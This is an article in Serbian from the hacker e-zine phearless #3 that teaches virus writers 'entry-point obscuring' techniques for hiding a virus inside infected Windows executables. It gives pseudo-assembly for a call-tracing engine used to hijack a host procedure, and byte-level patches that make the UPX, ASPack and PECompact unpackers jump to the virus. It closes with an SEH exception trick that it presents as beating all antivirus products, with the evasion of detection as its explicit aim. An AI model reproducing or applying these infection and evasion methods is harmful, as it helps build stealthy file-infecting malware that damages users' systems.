Copy Link
Add to Bookmark
Report
3x02 Smart EPO Techniques
...................
...::: phearless zine #3 :::...
.....................>---[ Smart EPO Techniques ]---<......................
...........................>---[ by deroko ]---<...........................
deroko[at]gmail[dot]com
1. Nekoliko uvodnih reci
2. EPO kroz dizzy
3. Pakeri kao EPO
4. EPO na nepakovanim fajlovima #2
5. Poslednje reci...
////////////////////////////////////////////////////////////////////////////
--==<[ 1. Nekoliko uvodnih reci
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Davno su prosla vremena kada ste vi mogli da izvrsavate virus redirekcijom
EntryPointa na vas kod. Virusopisci su razvili mnoge tehnike za skrivanje svog
koda unutar inficiranog fajla, ali koliko sam ja uspeo da primetim, njima kao
da nedostaje mastovitost. Sve EPO tehnike na koje sam napisao su lake za detekciju
jer se pojavljuju odmah iza EntryPointa, mozda 5-6 instrukcija tako da emulacija
nije nesto narocito potrebna.
Neki su pokusali da hookuju IAT callgate (da ga tako nazovem) sto je poprilicno
dobra opcija, neki su kao z0mbie isli do ludila i rasturali ceo EXE fajla da bi
ga ponovo sastavili sa virusom izmedju originalnih instrukcija, neki su isli
putem patchovanja ExitProcess kako bi virus dobio kontrolu posle gasenja
programa. To su tehnike koje su se meni licno svidele, a od kojih je najteze
implementirati z0mbijev metod.
Drugi virusi koriste dosta proste EPO tehnike, koje stoje odmah na
EntryPointu i redirektuju izvrsavanje na sam virus prostim jmp, call, ili push/
ret kombinacijom. Takve viruse je danas lako detektovati, cak sta vise bez,
ikakvih problema takve viruse danas detektuju gotovo svi. Premda laki za
detekciju mnogi autori se i dalje oslanjaju na te tehnike.
Ono sto sam ja hteo ovim tutorialom da pokazem je da ljudska mastovitost moze
biti mnogo bolja od heuristike koja je jedan obican isprogramirani algoritam i
nista vise... algoritam na kome AV kompanije uzimaju milione i milione dolara
lazuci svoje musterije da pruzaju najbolju zastitu.
Ja vas otvoreno pitam : "Kakva je to zastita ako je zaobidjem za 2h?", jer to
znaci da sam ja pametan??? ili su AV kompanije glupe??? ili su AV kompanije
prodavci magle???
Ima istine u sve 3 konstatacije. Ja nisam glup, ali nisam ni Ajnstajn, 2. AV
kompanije nisu glupe, vec naprotiv, mrzi ih da rade, 3. Da, AV kompanije
prodaju maglu svojim musterijama. Cesto mi je smesno kad negde vidim kako se
neuki ljudi trude da pokazu svoje znanje, ili bolje reci neznanje,
prepucavajuci se oko toga koji je AV najbolji. Medju ovim znalcima dominiraju
pristalice KAVa, premda nisu ni svesni da se taj AV da zaobici bez nekih muka,
dovoljan je obican i prost EPO (jmp/call/push/ret) i eto, sredili smo KAV.
Ostali se malo batrgaju, ali ni oni ne ostavljaju bolji utisak na mene. Jednom
recju drzim AV da me stiti od postojecih virusa (da, da koristim NOD32 i nek me
cik neko od "znalaca" nadjaca argumentima) i tu i tamo ako ukeba neki novi. Za
gospodu koja se stalno inficira novim virusima imam jednu lepu recenicu : "Alo
manijaci ne idite vise na porno sajtove, kako vas nije sramota!!!!!"...
Blah, red je da pricamo o nekim tehnikama EPO koje ce nam otvoriti oci i
pokazati AVovima da moraju jos da rade...
Ovde necu opisivati EPO koji sam koristio u blackhand jer sam njega vec ranije
objasnio, iskreno, moram priznati, taj virus, jeste meni najdrazi virus, jer mi
je prvi, premda obiluje neoptimizovanim kodom, ali je moj =)
Pa da pocnemo...
////////////////////////////////////////////////////////////////////////////
--==<[ 2. EPO kroz dizzy
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
dizzy engine iza sebe ima duzu istoriju. Videvsi z0mbijev algoritam za
disasemblovanje fajla hteo sam i ja tako nesto da uradim, u te svrhe poceo sam
da pisem moji dizzy engine. Medjutim, kako su ispiti pritiskali, nikad nisam
stigo da ga zavrsim, nabrzaka sam samo sklepao engine koji trazi i markira sve
funkcije u okviru nekog EXE fajla. Hmmm nije lose, sto je najcrnje on radi bez
greske.
Kako to dizzy radi i kako sam ja to sve zamislio? Prvo i osnovno je da
krenemo od pocetka samog programa, tj. EntryPointa i tracujemo callove i svaki
call pratimo, pri cemu, svaki ret znaci da izlazimo iz call-a u koji smo usli.
Postavimo hipoteticki to ovako:
nop <---- EntryPoint
call __1
nop
call __2
nop
call __3
ret <---- Kraj programa
__1:
ret
__2:
ret:
__3:
ret
i ucitavamo dizzy engine gde dajemo adresu EntryPointa nasem engine-u.
(nemojte se osvrati na sintaksu koju koristim ovde, jer je mesavina C/asm) =)
pri cemu je ldex86 nas length decoder koji koristimo ovde.
call dizzy(EntryPoint);
dizzy(EntryPoint){
pushad
mov esi, EntryPoint
__loop:
push esi
call ldex86
cmp byte ptr[esi], 0E8h <---da li je call
jne __skip1
mov edx, esi
add edx, 5
add edx, [esi+1]
push edx
call dizzy <---ulazimo u rekurziju u novu proceduru
__skip1:
cmp byte ptr[esi], 0xC3 <---da li je RETN ?
je __exit
cmp byte ptr[esi], 0xC2 <---da li je RET?
je __exit
add esi, eax
jmp __loop <---i idemo na sledecu instrukciju
__exit:
ret
}
Normalno ovo je samo uproscena slika onog sto dizzy engine radi, da ne bih
kopirao ceo kod koji zajedno sa ldex86 ima oko 1500 bajtova velicinu.
Sada cemo pogurati dizzy engine kako bismo nasli sve callove i nasli neki
pogodan za nase potrebe u koji cemo ubaciti redirekciju za virus. Mana i
prednosti ovakvog nalazenja procedura i ubacivanja EPO je u sledecem:
MANE:
- mi ne znamo, niti mozemo znati na osnovu ovakve analize, da li ce se nas
kod izvrsiti, tj. ne znamo da li ce se procedura uopste pozvati unutar koda.
- upotrebljivo samo na fajlovima koji nisu pakovani niti kriptovani.
PREDNOST:
- mora se emulirati ceo kod, sto kod nekih glomaznih aplikacija moze dugooo
da traje.
Posto smo izanalizirali ceo kod, mozemo negde ubaciti nas EPO, medjutim svrha
ovakvog EPO jeste da se virus izvrsi kao deo normalnog izvrsavanja koda.
recimo:
program ->>> VIRUS ->>> program nastavlja sa radom
shodno tome moramo sacuvati sve registre, i po izlasku iz virusa vratiti
originalnu funkciju na svoje mesto, popvratiti vrednost svih registra i
nastaviti sa izvrsavanjem koda. Ovo je tehnika koju ja koristim u blacky virusu.
Negde u hostu naci ce se sledeca sadrzina:
pushad
mov ebx, virus_va
push ebx
ret
a po izlasu iz virusa videcete nesto ovako:
mov [esp.Pushad_eax], ret_here
popad
push eax
ret
kako bi se vratio tamo odakle sam i hijackovao proceduru =)
Evo i jedan mali isecak iz IDA-e, jer mi olly ne prepoznaje instrukcije.
Ovo je pocetak iz Olly-ja sa EntryPointa:
00401000 > $ EB 10 JMP SHORT runtime.00401012
00401002 66 DB 66 ; CHAR 'f'
00401003 62 DB 62 ; CHAR 'b'
00401004 3A DB 3A ; CHAR ':'
00401005 43 DB 43 ; CHAR 'C'
ali se nas EPO tek pojavljuje ovde ->
.text:00407D8C mov dword_40CEC8, 1
.text:00407D96 mov dword_40CECC, esi
.text:00407D9C lea ecx, [ebp-8]
.text:00407D9F mov dword_40CEB4, ecx
.text:00407DA5 call __InitDefaultHander
Evo ga call koji je hookovan ->
.text:004030EC __InitDefaultHander proc near ; CODE XREF: sub_401012+6D93p
.text:004030EC pusha
.text:004030ED mov ebx, 411200h
.text:004030F2 push ebx
.text:004030F3 retn
.text:004030F3 __InitDefaultHander endp ; sp = -24h
.text:004030F3
i ovo ce skociti na nas Viri koji ce posle izvrsavanja vratiti procduru kako je
i izgledala pre infekcije, onda ce vratiti izvrsavanje na pocetak procedure jer
je program hteo nju da izvrsi, ali je zavrsio na blacky-ju.
Sad da vidimo da se virus nadje bez kompletne emulacije samog koda, sto moze
trajati poprilicno.
////////////////////////////////////////////////////////////////////////////
--==<[ 3. Pakeri kao EPO
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Do sada je vec poznato da vecina programa koje skidamo sa neta nije u
idealnoj formi, tj. da je pakovana ili protektovana. Vecina komercijalnih
aplikacija moze se naci u vidu nekih zeznutih pakera i protektora kao sto je
Armadilo, za koji licno ne znam kako da inline patchujem. No za ovu sekciju je
bitno da same pakere i protektore koristimo kao EPO. Ehhh, ovde moramo malo
pribeci polju RCE i baviti se inline pathovanjem pojedinih pakera za koje znamo
da uspesno mozemo inficirati.
Ja sam za sad uspeo uspesno da inficiram UPX, ASpack i PECompact 2.59 sto
sam i ubacio u virus Nanomites.w32 (ne ovo vam necu dati jer imam jos pakera da
dodam u njega pre nego sto odlucim da ga posaljem AV kompanijama).
Kod ove tehnike je bitno da identifikujemo paker sto se lako radi preko
signature bajtova. Naime uzmete nekoliko pocetnih bajtova pakera (ja sam se
opredelio za 13) i njih poredite. U zavisnosti od pakera pocinjete inline
patchovanje (automatski proces) koji morate da implementirate u Viri. Potom
cete patchovati da umesto da na dekriptovan HOST paker skoci na vas virus koji
ce potom skociti na HOSTa... Krenimo prvo sa UPXom:
Kraj samog UPXa izgleda ovako :
00414B16 .^EB E1 JMP SHORT test.00414AF9
00414B18 > FF96 AC400100 CALL DWORD PTR DS:[ESI+140AC]
00414B1E > 61 POPAD
00414B1F .-E9 DCC4FEFF JMP test.00401000
gde nas JMP baca na OEP. odlicno, 6 bajtova za nas (popad + jmp), to cemo
patchovati na sledeci nacin:
push virus_va (5 byte)
ret (1 byte)
ili kako bi Nanomites.w32 uradio ->
00414B18 |> FF96 AC400100 CALL DWORD PTR DS:[ESI+140AC]
00414B1E |> 68 00524100 PUSH test.00415200
00414B23 \. C3 RETN
b00m kad se program otpakuje idemo na virus...
Sad uzmimo ASPack 2.12
0041339A B8 00100000 MOV EAX,1000
0041339F 50 PUSH EAX
004133A0 0385 22040000 ADD EAX,DWORD PTR SS:[EBP+422]
004133A6 59 POP ECX
004133A7 0BC9 OR ECX,ECX
004133A9 8985 A8030000 MOV DWORD PTR SS:[EBP+3A8],EAX
004133AF 61 POPAD
004133B0 75 08 JNZ SHORT test.004133BA
004133B2 B8 01000000 MOV EAX,1
004133B7 C2 0C00 RETN 0C
004133BA 68 00104000 PUSH test.00401000
004133BF C3 RETN
MOV EAX, 1000 je RVA OEPa tako da ovde to moramo patchvati sa RVA naseg virusa.
Nista prostije, nadjimo ovo mov eax, 1000h i tamo ubacimo MOV EAX, RVA_VIRUS
0041339A B8 00500100 MOV EAX,15000
0041339F 50 PUSH EAX
004133A0 0385 22040000 ADD EAX,DWORD PTR SS:[EBP+422]
004133A6 59 POP ECX
004133A7 0BC9 OR ECX,ECX
004133A9 8985 A8030000 MOV DWORD PTR SS:[EBP+3A8],EAX
004133AF 61 POPAD
004133B0 75 08 JNZ SHORT test.004133BA
004133B2 B8 01000000 MOV EAX,1
004133B7 C2 0C00 RETN 0C
004133BA 68 00504100 PUSH test.00415000
004133BF C3 RETN
Sad samo sacekajmo da ASPack pokusa da skoci na OEP, skocice na nas virus.
Sad uzmimo PECompact 2.59... On je malo duhovit, ali je lak za inline
patchovanje, naime kod UPX adresu OEPa nalazimo racunanjem gde bi JMP trebalo
da skoci, a kod ASPack dodavanjem vrednosti koja je ranije stajala na mestu:
MOV EAX, OEP_RVA...
Naime PECompact 2.59 pocinje na OEPu, pa onda skace na zadnji section i tu
nalazimo gde je OEP. uzmimo primer :
00401000 > $ B8 0C3D4100 MOV EAX,test.00413D0C
00401005 . 50 PUSH EAX
00401006 . 64:FF35 000000>PUSH DWORD PTR FS:[0]
0040100D . 64:8925 000000>MOV DWORD PTR FS:[0],ESP
00401014 . 33C0 XOR EAX,EAX
00401016 . 8908 MOV DWORD PTR DS:[EAX],ECX
ovde lako i nalazimo gde nam paker pocinje, MOV EAX, 413D0C je adresa SEHa koji
ce biti pozvan a uzgred se nalazi u poslednjem sectionu. Interesantno je da
neki sugavi AVovi nalaze PECompact kao Safik-P (tako nesto) ili Mytob(tako nes)
kad je obicna, neificirana aplikacija pakovana njime... ja sam mislio da AVovi
nalaze moj virus, i 2-3 dana sam proveo menjajuci virus dok mi nije palo
napamet da probam sa obicnom "Hello world" aplikacijom i b00m, Sybari i CalmAV
su me tu razocarali =)
No vratimo se nasem problemu. Vidimo da imamo malo posle postavljanja SEHa :
xor eax, eax
mov [eax], ecx sto ce prouzrokovati da se skoci na nas SEH handle i ako to sve
lepo ispratimo imacemo ovako nesto na kraju:
00413DD3 5A POP EDX
00413DD4 5E POP ESI
00413DD5 5F POP EDI
00413DD6 59 POP ECX
00413DD7 5B POP EBX
00413DD8 5D POP EBP
00413DD9 FFE0 JMP EAX
Bingo, EAX ce imati VA OEPa (tj. mesto odakle je poceo PECompact) i tamo treba
da skoci, pathovanje ovde nije nikakav probelm i izgleda ovako ->
00413DD3 B8 003E4100 MOV EAX,test.00413E00
00413DD8 FFE0 JMP EAX
i idemo sa nasim virusem...
Ovde sam samo izneo ideje kako biste mogli da pravite pametne EPO, a ne da
se oslanjate na lako detektovane jmp/call/push/ret kombinacije odmah na OEPu...
takodje nije lose koristiti neki ldex86 kako biste nasli duzinu instrukcija od
pocetka EPa i znali gde recimo da ubacite vas redirect virusa, ali nemojte
nikako stavljati odmah JMP/CALL/PUSH/RET na pocetak samog EP.
////////////////////////////////////////////////////////////////////////////
--==<[ 4. EPO na nepakovanim fajlovima #2
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Ok ipak ste se odlucili da ne koristite dizzy fazon na ovakvim fajlovima i
ocete da napravite prost EPO, sto da ne =)
Moj savet, na kom pucaju svi AVovi je da to uradite preko SEHa i generisanja
nekog Exceptiona, primer:
begin:
push 12345678h
patch_seh = $-4
push dword ptr FS:[0]
mov dword ptr FS:[0], esp
xor ecx, ecx
div ecx
jmp begin
sehhandle:
mov ebx, [esp+0Ch]
mov [ebx.CONTEXT_Eip], 12345678h
patch_seh_virus = $-4
xor eax, eax
ret
end_epo:
Sta cete ovde uraditi je sledece, izracunati gde ce se u memoriji nalaziti SEH handle
i virus :
na patch_seh cete staviti adresu sehhandle-a koja ce biti (EntryPoint + (sehhandle - begin)),
a na patch_seh_virus adresu vaseg virusa u memoriji. Posle exceptiona EIP ce biti redirektovan
na virus, ne znam zasto, ali svi AVovi padaju na ovom triku...
////////////////////////////////////////////////////////////////////////////
--==<[ 5. Poslednje reci...
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Pa sad ste videli demonstraciju nekih stvari koje su odista sprovedene u
zivot, testirane na nekoliko aplikacija i to bez problema. AVovi su nemi, jos
nisu videli ovakvo iskoriscavanje pakera. To bi znacilo da virus ima 3 EPO za
pakere i 1 EPO za nepakovane fajlove... Zar to nije cool? Prosudite sami...
deroko (<deroko<AT>gmail<DOT>com>)
Greetz: svima koji vise na #blackhat...